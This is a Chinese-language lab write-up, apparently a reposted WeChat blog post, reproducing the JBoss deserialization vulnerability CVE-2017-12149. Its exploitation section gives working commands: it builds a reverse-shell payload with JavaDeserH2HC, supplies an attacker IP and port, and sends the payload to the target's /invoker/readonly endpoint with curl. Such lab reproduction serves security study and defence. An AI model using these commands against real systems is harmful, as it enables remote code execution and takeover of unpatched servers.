漏洞复现|Jboss反序列化漏洞(CVE-2017-12149)
2020-7-27 22:46:37 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

上面的蓝字关注我们哦!


01 前言

JBoss反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器doFilter方法中,在没有进行任何安全检查和限制的情况下将来自客户端的序列化数据进行反序列化,导致执行任意代码。

02 影响版本

  • Jboss AS 5.x

  • JbossAS 6.x

03 漏洞复现

漏洞复现环境:

  • 漏洞安装包:Jboss 6.1.0 Final

  • 靶机WIN10:192.168.1.2

  • KALI机:192.168.1.104

步骤一、运行环境

JBOSS运行需要JDK支持,JDK的搭建我就不细说了。

配置好系统环境变量的JBOSS_HOME和PATH参数

  • JBOSS_HOME:D:\Program\jboss-6.1.0.Final\

  • PATH:;%JBOSS_HOME%\bin

然后cd进bin目录,运行如下命令

run.bat -b 0.0.0.0

此时再访问http://localhost:8080/就能看到JBOSS环境搭建成功了

步骤二、漏洞利用

只需要访问/invoker/readonly路径,如果页面返回500,说明漏洞存在。

这时就可以用我们的测试利用工具:JavaDeserH2HC

下载地址https://github.com/joaomatosf/JavaDeserH2HC

解压到KALI后执行如下反弹shell命令

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

然后添加需要反弹的地址

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.104:4445

随后会在当前目录下生成一个.ser序列化数据流

到KALI机上监听端口,并发送数据包

curl http://192.168.1.2:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

接受反弹回的shell

04 漏洞分析

因为该漏洞出现HttpInvoker组件中的ReadOnlyAccessFilter过滤器中

就直接找到

\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet

目录下的ReadOnlyAccessFilter.class文件,并查看doFilter代码

可以看到没有经过任何检测就进行object.readObject()反序列化,导致漏洞的产生。



文章来源: https://mp.weixin.qq.com/s?__biz=MzAxNDk0MDU2MA==&mid=2247483975&idx=1&sn=0548c768ea24cc467526203c05bf41cd&chksm=9b8ae2b8acfd6baeed2ce241e55394179fce864639b19a0065181f7d08d4c383d8cba214e428&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh